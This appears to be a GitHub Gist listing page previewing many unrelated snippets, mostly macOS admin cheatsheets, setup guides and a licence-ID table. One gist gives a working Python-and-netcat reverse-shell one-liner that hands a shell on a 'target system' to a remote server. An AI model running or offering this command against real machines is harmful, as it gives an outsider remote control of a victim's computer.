Skip to content

Instantly share code, notes, and snippets.

@henri
henri / macOS_timemachine_cheatsheet.txt
Last active June 15, 2026 16:56
macOS TimeMachine cheatsheet
# the man page for tmutil
man tmutil
# calculate drift on backups (cpu / io intensive)
tmutil calculatedrift backup_folder
# list backups
tmutil listbackups
# set backup destination
@velzend
velzend / reolinkRotateCertificate.py
Last active July 23, 2026 05:20
Reolink doorbell refresh certificates using Lego (ACME) and the API
#!/usr/bin/env python3
"""
I wanted to replace the self-signed certificate with one signed by Let's Encrypt, and
did not want to perform this action manually.
I asked Reolink technical support, but they answered there is no API to manage certificates.
So I did some research and found the Reolink doorbell camera and probably other models
do support to upload your own certificates.
@{
'e4654015-5daf-4a48-9b37-4f309dddd88b' = 'Advanced Communications'
'd2dea78b-507c-4e56-b400-39447f4738f8' = 'AI Builder Capacity add-on'
'8f0c5670-4e56-4892-b06d-91c085d7004f' = 'App Connect IW'
'9706eed9-966f-4f1b-94f6-bb2b4af99a5b' = 'App governance add-on to Microsoft Defender for Cloud Apps'
'0c266dff-15dd-4b49-8397-2bb16070ed52' = 'Microsoft 365 Audio Conferencing'
'c2cda955-3359-44e5-989f-852ca0cfa02f' = 'Microsoft 365 Audio Conferencing for faculty'
'2b9c8e7c-319c-43a2-a2a0-48c5c6161de7' = 'Microsoft Entra Basic'
'078d2b04-f1bd-4111-bbd4-b4b1b354cef4' = 'Microsoft Entra ID P1'
'30fc3c36-5a95-4956-ba57-c09c2a600bb9' = 'Microsoft Entra ID P1 for faculty'
@bradhowes
bradhowes / gist:e4db684fa782f913d0454750bb103c72
Last active July 15, 2025 21:22
Using msmtp on macOS with iCloud
  • Install msmtp using brew install msmtp
  • Configure msmtp using the following:
# Set default values for all the accounts.
defaults
auth on
logfile ~/.maildir/msmtp.log
port 587
protocol smtp
@KhaosT
KhaosT / HDMI on Apple Vision Pro.md
Last active July 10, 2026 23:23
Guide for using Apple Vision Pro as HDMI display

Displaying HDMI sources on Apple Vision Pro

While it's possible to stream most content to Apple Vision Pro directly over the internet, having the ability to use Apple Vision Pro as an HDMI display can still be useful.

Since Apple Vision Pro does not support connecting to an HDMI input directly or using an HDMI capture card, we have to be a little creative to make this work. NDI provides the ability to stream HDMI content over a local network with really low latency, and it works great with Apple Vision Pro.

This page shows the setup I’m using.

@KhaosT
KhaosT / Cloud Gaming on Apple Vision Pro.md
Last active July 10, 2026 23:23
Guide for clouding gaming on Apple Vision Pro

Cloud Gaming on Apple Vision Pro

GeForce Now

Cloud Gaming is a great way to enjoy graphically demanding games on Apple Vision Pro.

Since Safari on visionOS does not support PWA mode, here is how you can access cloud gaming services on Apple Vision Pro.

What’s needed

@onionj
onionj / reverse_shell.md
Last active March 17, 2026 14:22
Create a Linux / macOS Reverse Shell in One Command with Python and Netcat (nc)

Create a Linux / macOS Reverse Shell in One Command with Python and Netcat (nc)

Simple Method:

On the target system, execute the following command (replace HOST with your server's IP or domain):

while :; do python3 -c "HOST='localhost'; PORT='12012'; SHELL='sh'; import datetime; print(datetime.datetime.now(),'connecting to',HOST,PORT);import subprocess; nc_process=subprocess.Popen(['nc', HOST, str(PORT)], stdin=subprocess.PIPE, stdout=subprocess.PIPE, text=True); sh_process=subprocess.Popen([SHELL], stdin=nc_process.stdout, stdout=nc_process.stdin, stderr=nc_process.stdin, text=True); nc_process.wait(); sh_process.kill()"; sleep 1; done
@psenger
psenger / README.md
Last active May 4, 2026 08:31
[SIPS - scriptable image processing system] #MacOS #sips #Image

SIPS (Scriptable Image Processing System)

SIPS (Scriptable Image Processing System) is a command-line utility available on macOS that enables users to perform various image manipulation tasks directly from the command line. It supports a wide range of image file formats, including JPEG, PNG, TIFF, GIF, and more

Example usage:

  • Scale an image (without aspect ratio): sips -z width height input_image --out output_image
  • Scale an image (maintain aspect ratio): sips -z 800 0 original.jpg --out scaled.jpg
  • Query image properties: sips -g dpiHeight -g dpiWidth image.jpg
@ibressler
ibressler / MDM Profiles on macOS.md
Last active June 26, 2026 19:47
MDM Profiles on macOS

MDM Profiles on macOS

Notes: From Zeno Popovici with edits & tested on a M1 macbook with Ventura (macOS 13).

In macOS you can check the MDM status with the following command in a Terminal:

profiles status -type enrollment

Non-removable MDM profiles cannot officially removed without doing a full system wipe

@zqidev
zqidev / macOS P2V on Apple Silicon.md
Last active October 5, 2025 20:56
P2V on Apple Silicon - Converting a Physical Apple Silicon MacBook to a Virtual Machine on another Apple Silicon device (M1, M2, M3) on Apple's Virtualization Framework

P2V on Apple Silicon - Converting a Physical Apple Silicon MacBook to a Virtual Machine on another Apple Silicon device (M1, M2, M3) on Apple's Virtualization Framework

Outline: Having recently bought a MacBook Pro (M3 Max) to replace my MacBook Air (M2), I decided it would be a good idea to start fresh and reinstall everything on my new Mac. However, I always like to keep a backup of my old data, so I thought it would be a good idea to virtualize my old machine on my new machine. Having much previous experience working with Windows P2V's (Physical to Virtual), I figured it would be as simple as Clone, Copy, Restore, and Boot. However, with the advent of Apple's new Signed System Volume, as well as the differences in file systems, APFS containers, and all, this ended up being a project that took about 2 days of nonstop researching, debugging, when I expected it to be a project which would last as long as it would take to clone my drive. I was very wrong. However, with all of my newfound knowledge in this s